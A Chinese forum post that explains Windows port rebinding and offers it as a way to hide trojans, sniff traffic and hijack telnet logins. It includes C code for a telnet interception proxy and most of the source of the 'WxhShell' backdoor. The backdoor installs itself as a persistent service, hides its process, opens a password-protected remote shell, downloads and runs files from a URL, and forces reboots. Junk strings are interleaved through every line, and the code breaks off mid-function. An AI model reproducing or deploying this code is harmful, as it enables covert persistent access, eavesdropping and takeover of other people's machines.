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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eG v"&kr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &u8c!;y$b  
H[r0jREK  
  saddr.sin_family = AF_INET; lg1D>=(mY  
f"Iyo:Wt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j66@E\dN  
)B_h"5X4\y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zvD5i,I  
H4,yuV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )sHPIxHI  
=m:W  
  这意味着什么?意味着可以进行如下的攻击: 7r>W r#  
O^#u%/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5glGlD6R  
0YL0Oa+7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MF`'r#@:wa  
yKJ^hv"#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YLGLr @:q  
Q)>'fZ)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EMG*8HRI>r  
;j=1 oW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -+> am?  
>y[S?M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jq)|Uq'6  
bed+Ur&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;Y\,2b, xh  
UZra'+Wb  
  #include mxGN[ %ve  
  #include V*}zwm s6  
  #include m##=iB|;  
  #include     6qlr+f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `t6L'%\  
  int main() R{vPn8X 6g  
  { 8H?AL RG  
  WORD wVersionRequested; B5G$o{WM  
  DWORD ret; }^7V^W  
  WSADATA wsaData; /3]|B%W9  
  BOOL val; 3)Y:c2  
  SOCKADDR_IN saddr; <.ky1aex7  
  SOCKADDR_IN scaddr;  Dfia=1A  
  int err; G.8b\E~  
  SOCKET s; qS al~  
  SOCKET sc; Ks(U]G"V  
  int caddsize; U5"OhI  
  HANDLE mt; yxbTcZ  
  DWORD tid;   ?W_U{=anl  
  wVersionRequested = MAKEWORD( 2, 2 ); A]$+ `uS\  
  err = WSAStartup( wVersionRequested, &wsaData ); vuBA&j0C  
  if ( err != 0 ) { *\",  qMp  
  printf("error!WSAStartup failed!\n"); 8BDL{?Mu  
  return -1; !$Z"\v'b  
  } \<**SSN  
  saddr.sin_family = AF_INET; <J-Z;r(gQN  
   QEa=!O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K8Zk{on  
B:cOcd?p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fx:KH:q3  
  saddr.sin_port = htons(23); (N4(r<o;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'OCo1|iK~  
  { ,~(}lvqVH  
  printf("error!socket failed!\n"); G`"Cqs<  
  return -1; <>_Wd AOuD  
  } QE2^.|d{  
  val = TRUE; -QDgr`%5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6/ipdi[ _  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \DK*> k  
  { 2]=I'U<E!  
  printf("error!setsockopt failed!\n"); D|9fHMg %  
  return -1; vWs c{9  
  } j*d~h$[k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^~ $&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -FV'%X$i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _`>7 Q) ,7  
rJp6d :M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]bb}[#AY  
  { C} _:K)5q  
  ret=GetLastError(); Y{RB\}f(  
  printf("error!bind failed!\n"); MXk. 2  
  return -1; W+e*(W|d6  
  } TZNgtR{q  
  listen(s,2); N'P,QiR,z<  
  while(1) .+}o'rU  
  { [nIG_j>D-f  
  caddsize = sizeof(scaddr); 389.&`Q%Ut  
  //接受连接请求 kTW g31]~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9t.yP;j\Y  
  if(sc!=INVALID_SOCKET) jSp&mD*xv  
  { +|)1_NK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x=Jn&4q  
  if(mt==NULL) &\|<3sd(  
  { ok%!o+nk.  
  printf("Thread Creat Failed!\n"); t<,p-TM]  
  break;  iLcadX  
  } ?0<INS~  
  } FNCLGAiZ  
  CloseHandle(mt); D*'M^k|1  
  } AO$PuzlLh  
  closesocket(s); Juqn X  
  WSACleanup(); GY]6#>D#7  
  return 0; }, &,Dt  
  }   l~TIFmHkh%  
  DWORD WINAPI ClientThread(LPVOID lpParam) Gj8[*3d  
  { a<jE 25t  
  SOCKET ss = (SOCKET)lpParam; |#:dC #  
  SOCKET sc; I7z/GA\x  
  unsigned char buf[4096]; J?quYlS  
  SOCKADDR_IN saddr; cN}A rv  
  long num; &d3'{~:  
  DWORD val; I@Z*Nu1L  
  DWORD ret; U4l*;od  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PJ'lZu8?x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Bi :wP/>v  
  saddr.sin_family = AF_INET; oEoJa:h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }9udo,RWu  
  saddr.sin_port = htons(23); 8pMZ~W;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `W$0T;MPF  
  { >ydb?  
  printf("error!socket failed!\n"); [=ak>>8  
  return -1; J:Y|O-S!  
  } emY5xZ@N  
  val = 100; vs)I pV(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^iRwwN=d  
  { s8Ry}{  
  ret = GetLastError(); V /9"Xmv75  
  return -1; o/ g+Z  
  } D4O5@KfL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %iL@:'?K  
  { *8X9lv.Z  
  ret = GetLastError(); \.;ct  
  return -1; G<-9U}~76  
  } yX.5Y|A<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d3=6MX[c  
  { +<WRB\W  
  printf("error!socket connect failed!\n"); NU&^7[!yl  
  closesocket(sc); KR+BuL+L  
  closesocket(ss); 4B8Se  
  return -1; Y:!/4GF  
  } xCp+<|1   
  while(1) ?~JxO/K  
  { MRg\FR 2>1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |8qK%n f}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u~- fK'/!|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^Ii  \vk  
  num = recv(ss,buf,4096,0); 5 (21gW9  
  if(num>0) 4 ^~zN"6]  
  send(sc,buf,num,0); -8Jl4F ,  
  else if(num==0) R!k<l<9q  
  break; +.(}u ,:8  
  num = recv(sc,buf,4096,0); JdUz!=I  
  if(num>0) 56=K@$L {F  
  send(ss,buf,num,0); :O'C:n<g  
  else if(num==0) Bw]L2=d  
  break; 9p\Hx#^  
  } M Hnf\|DX  
  closesocket(ss); Dj ]Hgg  
  closesocket(sc); mj~N]cxB  
  return 0 ; y }&4HrT&  
  } <% 7P  
@Tfwh/UN  
| 2.e0Z]k  
========================================================== e8ULf~I  
o~o6S=4,}  
下边附上一个代码,,WXhSHELL 4&oXy,8LC  
,+ \4 '`  
========================================================== vJj:9KcP>h  
'/u:,ar  
#include "stdafx.h" `gt&Y-  
y@kcXlY  
#include <stdio.h> 3$$5Mk(&  
#include <string.h> SGBVR^  
#include <windows.h> %EVV-n@  
#include <winsock2.h> I`"-$99|t1  
#include <winsvc.h> "ji$@b_\?  
#include <urlmon.h> 3KZ y H  
<=m 30{;f  
#pragma comment (lib, "Ws2_32.lib") >FY&-4+v  
#pragma comment (lib, "urlmon.lib") i{|lsd(+  
~N{_N95!2@  
#define MAX_USER   100 // 最大客户端连接数 uhTKCR~  
#define BUF_SOCK   200 // sock buffer ~.W=  
#define KEY_BUFF   255 // 输入 buffer ,a9D~i 9R  
*dG}R#9Nv  
#define REBOOT     0   // 重启 FYXw$7'l  
#define SHUTDOWN   1   // 关机 T\2) $  
YHO;IQ5  
#define DEF_PORT   5000 // 监听端口 + U+aWk  
j(Fa=pi  
#define REG_LEN     16   // 注册表键长度 /zl3&~4  
#define SVC_LEN     80   // NT服务名长度 9QC"Od9H  
Y/^[qD  
// 从dll定义API ~tg1N^]kV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rw5#e.~V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JtYYT/PB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %$ir a\ sM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rq<`(V'2  
/63 W\  
// wxhshell配置信息 |{7e#ww]  
struct WSCFG { ^sT +5M^  
  int ws_port;         // 监听端口 h9<mThvgn  
  char ws_passstr[REG_LEN]; // 口令 nszpG1U:  
  int ws_autoins;       // 安装标记, 1=yes 0=no UzU-eyA  
  char ws_regname[REG_LEN]; // 注册表键名 ^ea RgNz  
  char ws_svcname[REG_LEN]; // 服务名 5:*5j@/S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H5AK n*'7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Avs7(-L+s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZRXI?Jr%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MfXt+c`r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~A[YnJYA#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8/Et&TJ`  
;OQ'B=uK  
}; aQ!9#d_D  
C3 gZ6m  
// default Wxhshell configuration X"hOHx5P  
struct WSCFG wscfg={DEF_PORT, M>?aa6@0  
    "xuhuanlingzhe", `d}W;&c  
    1, I"8d5a}  
    "Wxhshell", 6P%<[Z  
    "Wxhshell", j<l#qho{h  
            "WxhShell Service", k Zk .]b  
    "Wrsky Windows CmdShell Service", -O~C m}e  
    "Please Input Your Password: ", A$9q!Ui#d  
  1, |u^)RB  
  "http://www.wrsky.com/wxhshell.exe", 0(Y%,q  
  "Wxhshell.exe" )3]83:lD2  
    }; @@xO+$6  
FasI'Ulk  
// 消息定义模块 j}|N^A_ S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `"xk,fVYd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &Q'\WA'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lQh E]m>+  
char *msg_ws_ext="\n\rExit."; =w',-+@  
char *msg_ws_end="\n\rQuit."; WdTbt  
char *msg_ws_boot="\n\rReboot..."; \yih 1Om>~  
char *msg_ws_poff="\n\rShutdown..."; U9<_6Bsd  
char *msg_ws_down="\n\rSave to "; _-@ZOhw&  
n\Z^K  
char *msg_ws_err="\n\rErr!"; tv 4s12&  
char *msg_ws_ok="\n\rOK!"; I6K7!+;2  
,pDp>-vI%  
char ExeFile[MAX_PATH]; 3 R5%N ~  
int nUser = 0; lp:_H-sG  
HANDLE handles[MAX_USER]; z6p#fsD  
int OsIsNt; -]Q3/"Q  
%$/=4f.j  
SERVICE_STATUS       serviceStatus; ltNuLZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DapQ}2'_  
I`/]@BdgY  
// 函数声明 .HyjL5r-  
int Install(void);  4]"a;(  
int Uninstall(void); ..??O^   
int DownloadFile(char *sURL, SOCKET wsh); 4|zd84g  
int Boot(int flag); b%3Q$wIJ6  
void HideProc(void); W:`5nj]H9  
int GetOsVer(void); 6b%`^B\  
int Wxhshell(SOCKET wsl); e.h~[^zg  
void TalkWithClient(void *cs); a4yOe*Ak,F  
int CmdShell(SOCKET sock); tW:W&|q  
int StartFromService(void); @kwLBAK}@  
int StartWxhshell(LPSTR lpCmdLine); sEoZ1E  
i Bi7|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {udrT"h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P-[fHCg~  
(YAI,Xnw  
// 数据结构和表定义 jZa25Z00  
SERVICE_TABLE_ENTRY DispatchTable[] = G{ F6  
{ !c\7  
{wscfg.ws_svcname, NTServiceMain}, X"kXNKV/n  
{NULL, NULL} :_MP'0QP  
}; ?O!]8k`1$  
I_:t}3s  
// 自我安装 uPFRh~ (b  
int Install(void)  G5!|y#T  
{ zXQVUhL6  
  char svExeFile[MAX_PATH]; vz6SCGg,  
  HKEY key; JR/W9i  
  strcpy(svExeFile,ExeFile); ktN%!Mh\  
1pWk9Xuh  
// 如果是win9x系统,修改注册表设为自启动 .JNcY]V#  
if(!OsIsNt) { 0o;k?4aP.c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A)OdQFet(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <"N:rn{Qq  
  RegCloseKey(key); ~q{\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1W*V2`0>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SxMxe,.|  
  RegCloseKey(key); DD2adu^  
  return 0; o(:{InpV%A  
    } !{ $qMhT  
  } mRwXN*Izw  
} :}^Rs9 '  
else { GNs#oM  
-y%QRO(  
// 如果是NT以上系统,安装为系统服务 w"q-#,37j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ot^q}fRX  
if (schSCManager!=0) 6@&fvf  
{ 6e*%\2UA  
  SC_HANDLE schService = CreateService jh>N_cp  
  ( 37#cx)p^f  
  schSCManager, ]n~yp5Nbr  
  wscfg.ws_svcname, eUYZxe :6  
  wscfg.ws_svcdisp, P=2wkzeJj  
  SERVICE_ALL_ACCESS, P2O\!'aEh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uG4$2  
  SERVICE_AUTO_START, O97VdNT8  
  SERVICE_ERROR_NORMAL, -48`#"xy  
  svExeFile,  Kr S  
  NULL, wc"9A~  
  NULL,  "";=DH  
  NULL, 5;}2[3}[  
  NULL, M Z2^@It  
  NULL Ys-^7 y_  
  ); @]*[c})/  
  if (schService!=0) `4_c0 q)N4  
  { </,.K`''W  
  CloseServiceHandle(schService); cxgE\4_u"  
  CloseServiceHandle(schSCManager); 1^S'sWwe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Dxe>Q'df  
  strcat(svExeFile,wscfg.ws_svcname); 87pnSj/X"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S,XKW(5   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z23#G>I&  
  RegCloseKey(key); OH>r[,z0  
  return 0;  %W(^6p!  
    } nkTYWw  
  } (9E( Q*J5x  
  CloseServiceHandle(schSCManager); / HL_$g<  
} \/n+j!  
} 7vw;Egd@@-  
~)_K"h.DY  
return 1; Cc2MYm8  
} Zgy7!AF!  
XJc ,uj7  
// 自我卸载 h 5Hr[E1  
int Uninstall(void) Sg_O?.r  
{ 9YAM#LBTWi  
  HKEY key; lVP |W:~K  
&m'?*O |  
if(!OsIsNt) { uj)yk*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d bCNhbN(  
  RegDeleteValue(key,wscfg.ws_regname); Oc#>QZ3  
  RegCloseKey(key); W8y$ Ve8m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GtC7^ Z&E  
  RegDeleteValue(key,wscfg.ws_regname); r5[4h'f  
  RegCloseKey(key); dIvy!d2l  
  return 0; RJ@\W=aZ  
  } JwB"\&'1ZS  
} ewpig4  
} @cPflb  
else { fa4=h;>a+  
5} G:D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,%kmXh  
if (schSCManager!=0) 0t+])>  
{ zz&vfO31J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p3 e|j  
  if (schService!=0) %Uf'+!4l`  
  { {tc57jsr  
  if(DeleteService(schService)!=0) { 0Q`&inwh  
  CloseServiceHandle(schService); a_MFQf&KV  
  CloseServiceHandle(schSCManager); ';Nu&D#Ph  
  return 0; R#ya,L  
  } ?,>5[Ha^?  
  CloseServiceHandle(schService); "T7>)fbu  
  } zSKKr?{  
  CloseServiceHandle(schSCManager); GB =bG%Tb  
} =HS4I.@c_5  
} [ZD[a6(94  
hXc}r6<B  
return 1; AX;c}0g  
} '$?du~L-  
}3J=DCtS  
// 从指定url下载文件 eIJ[0c b}  
int DownloadFile(char *sURL, SOCKET wsh) |kc@L`7s  
{ Wxn#Rk#>  
  HRESULT hr; 6A?8tm/0  
char seps[]= "/"; $it@>L8  
char *token; b)`pZiQP  
char *file; SB/3jH  
char myURL[MAX_PATH]; }vY.EEy!  
char myFILE[MAX_PATH]; t!:)L+$3  
o0l7 4  
strcpy(myURL,sURL); <aXoB*Y  
  token=strtok(myURL,seps); C `6S}f,  
  while(token!=NULL) Mb.4J2F?  
  { H{%H^t>  
    file=token; !b63ik15O~  
  token=strtok(NULL,seps); WL1\y|  
  } $ser+Jt=  
!W /C[$E  
GetCurrentDirectory(MAX_PATH,myFILE); *QE"K2\5  
strcat(myFILE, "\\"); *gDl~qNRoS  
strcat(myFILE, file); NH4?q!'G  
  send(wsh,myFILE,strlen(myFILE),0); SO_>c+Dw  
send(wsh,"...",3,0); s4bv;W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Kl}= 1 4  
  if(hr==S_OK) [,b)YjO~Xd  
return 0; QZ~0o7  
else 03_pwB)^  
return 1; mf9hFy* <4  
Mg\TH./Y:  
} 0sh~I  
)NIv  "Q  
// 系统电源模块 iD714+N(  
int Boot(int flag) ]-bQNYKX  
{  n}OU Y  
  HANDLE hToken; |vz9Hs$@l  
  TOKEN_PRIVILEGES tkp; 'yr{^Pek  
~b6GrY"vB  
  if(OsIsNt) { NO4Z"3Pd_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S/7l/DFb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pV=@sz,G  
    tkp.PrivilegeCount = 1; 0>FE%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y{+3}drJE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *)D1!R<\,R  
if(flag==REBOOT) { :j,}{)5=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $DE&J4K  
  return 0; CmHyAw(  
} `{o$F ::(  
else { RG}}Oh="v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,H{={aln  
  return 0; 4.w"(v9V  
} MUwxgAG`G  
  } J|5Ay1eF-  
  else { dB7ZT0L\  
if(flag==REBOOT) { Z0\Iyc G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t^U^Tr  
  return 0; SiTeB)/  
} M1{(OY(G  
else { QC7k~I8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CA*~2|  
  return 0; #xp(B5  
} m9t$h  
} g "*;nHI D  
H=<LutnZ  
return 1; F#|Z# Mu  
} mNDuwDd$S  
hB>^'6h+  
// win9x进程隐藏模块 T 1zi0fa'  
void HideProc(void) ="(>>C1-  
{ [.-a$J[4+F  
X=,6d9,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .iT4-  
  if ( hKernel != NULL ) &S-er{]]  
  { ;4kT?3$l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g~)3WfC$[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |}Ph"g2D,  
    FreeLibrary(hKernel); &,MFB  
  } m\-PU z&C  
-_>.f(1  
return; I`^YAbnb  
} }-nU3{1  
H~Uq?!=b  
// 获取操作系统版本 wOg,SMiq  
int GetOsVer(void) %{'4. ,  
{ q qvF-mDN  
  OSVERSIONINFO winfo; A[JM4x   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iLtc HpN  
  GetVersionEx(&winfo); %l|\of7P2}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |';7v)CIG  
  return 1; 7I >J$"  
  else l$M +.GB<  
  return 0; gtYRV*^q  
} "8/dD]=f^a  
m~>@BCn;  
// 客户端句柄模块 U^?= 0+  
int Wxhshell(SOCKET wsl) J?D\$u:  
{ 1;&T^Gdj  
  SOCKET wsh; nk/vGa4  
  struct sockaddr_in client; D=&K&6rr  
  DWORD myID; (/?R9T[V&^  
S#2[%o  
  while(nUser<MAX_USER) 2w4MJ,Uw  
{ ri+U0[e3  
  int nSize=sizeof(client); 0roCP=;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QO,+ps<  
  if(wsh==INVALID_SOCKET) return 1; Ac\W\=QvB  
<|H ?gfM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m UgRm]  
if(handles[nUser]==0) XTo8,'UaP  
  closesocket(wsh); _tWE8 r,  
else GV6mzD@ <  
  nUser++; q-IWRb0j%a  
  } v8'5pLt"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F1c&0*_A  
=x H~ww (D  
  return 0; 2C1+_IL   
} "&-C$J5 Id  
uvv.WbZ  
// 关闭 socket ,Rz }=j  
void CloseIt(SOCKET wsh) o;QZe&  
{ SdI1}&  
closesocket(wsh); ?OsS`)T  
nUser--; y x;h  
ExitThread(0); X4Xf2aXI  
} j-32S!  
6?o>{e7n^  
// 客户端请求句柄 6mHhC?  
void TalkWithClient(void *cs) a D|Yo  
{ HcO5?{2  
7cw]v"iv  
  SOCKET wsh=(SOCKET)cs; _6rKC*Pe1  
  char pwd[SVC_LEN]; 8*Zvr&B,G  
  char cmd[KEY_BUFF]; 4bI*jEc\[  
char chr[1]; ~6d5zI4\  
int i,j; 3cThu43c  
.Dx2 ;lj  
  while (nUser < MAX_USER) { }cW#045es  
[H^ X"D  
if(wscfg.ws_passstr) { _}ele+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v}P!HczmMP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &t6Tcy  
  //ZeroMemory(pwd,KEY_BUFF); N-QCfDao  
      i=0; `~nCbUUee  
  while(i<SVC_LEN) { =]b9X7}  
gZ`DT  
  // 设置超时 `bqzg  
  fd_set FdRead; }n[Bq#  
  struct timeval TimeOut; , ` o+ ?  
  FD_ZERO(&FdRead); U~/ID  
  FD_SET(wsh,&FdRead); VDiOO  
  TimeOut.tv_sec=8; DL4iXULNY  
  TimeOut.tv_usec=0; <V S2]13  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SqqDV)Uih1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J]\^QMX  
^PQM;"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); os**hFPk;1  
  pwd=chr[0]; O`(U/?   
  if(chr[0]==0xd || chr[0]==0xa) { o#}mkE87  
  pwd=0; all*P #[X  
  break; ]M\q0>HoJ  
  } iZC`z }  
  i++; cL7C 2wB`  
    } gjZx8oIoP  
u+z~  
  // 如果是非法用户,关闭 socket =|V" #3$f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e& Rb  
} vgAFuQi(  
#KwFrlZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hf '3yEm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X$aMf &x  
)c*~Y=f  
while(1) { z t1Q_;  
W$&Q.Z  
  ZeroMemory(cmd,KEY_BUFF); 6 B )   
X*sF-T$.  
      // 自动支持客户端 telnet标准   W*)>Tr)o  
  j=0; ]lo O5  
  while(j<KEY_BUFF) { er_aol e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W{`;][  
  cmd[j]=chr[0]; ;pNfdII(  
  if(chr[0]==0xa || chr[0]==0xd) { (- uk[["3  
  cmd[j]=0; a36<S0R  
  break; 9:Y\D.M  
  } 5segzaI  
  j++; SOm~];[  
    } $KiA~l  
1yo@CaW[\  
  // 下载文件 ;RrfE8mGj  
  if(strstr(cmd,"http://")) { # a3Q<%V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H/b(dbs  
  if(DownloadFile(cmd,wsh)) yP@= x!$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); } E=mZZ)  
  else lIf Our  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j6\{j#q  
  } I%ez_VG  
  else { Lh+^GQ  
BdceINI  
    switch(cmd[0]) { $6_J` 7  
  \6N\6=t!A  
  // 帮助 YC$pT  
  case '?': { b x@CzXre;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e'jR<ln|  
    break; 2`z+_DA  
  } E?;W@MJi  
  // 安装 m'S-h'a  
  case 'i': { \3KCZ  
    if(Install()) 5Hr"}|J<8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5W'T7asOh  
    else R_^:<F0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :( `Q4D~l  
    break; B!5gD   
    } k~?@~xm,R  
  // 卸载 @a~K#Bvlm  
  case 'r': { h_cZ&P|  
    if(Uninstall()) 0I.7I#'3O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yrd K@I  
    else `pKQ|zGw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1*a2s2G '  
    break; w<'mV^S  
    } <"t >!I  
  // 显示 wxhshell 所在路径 'd28YjtoX  
  case 'p': { rlds-j''  
    char svExeFile[MAX_PATH]; $FAl9  
    strcpy(svExeFile,"\n\r"); {u:DC4eut  
      strcat(svExeFile,ExeFile); hGpaHY>My  
        send(wsh,svExeFile,strlen(svExeFile),0); v/kYyz  
    break; eVy,7goh  
    } 9;@6iv  
  // 重启 ut o4bs:  
  case 'b': { Kp"o0fh<9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Wo,^qR  
    if(Boot(REBOOT)) hWUZn``U$|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #bGt%*Re p  
    else { $GcVC (]  
    closesocket(wsh); lAoH@+dyA+  
    ExitThread(0); DukCXyB*l  
    } ?(mlt"tPk  
    break; -O ej6sILO  
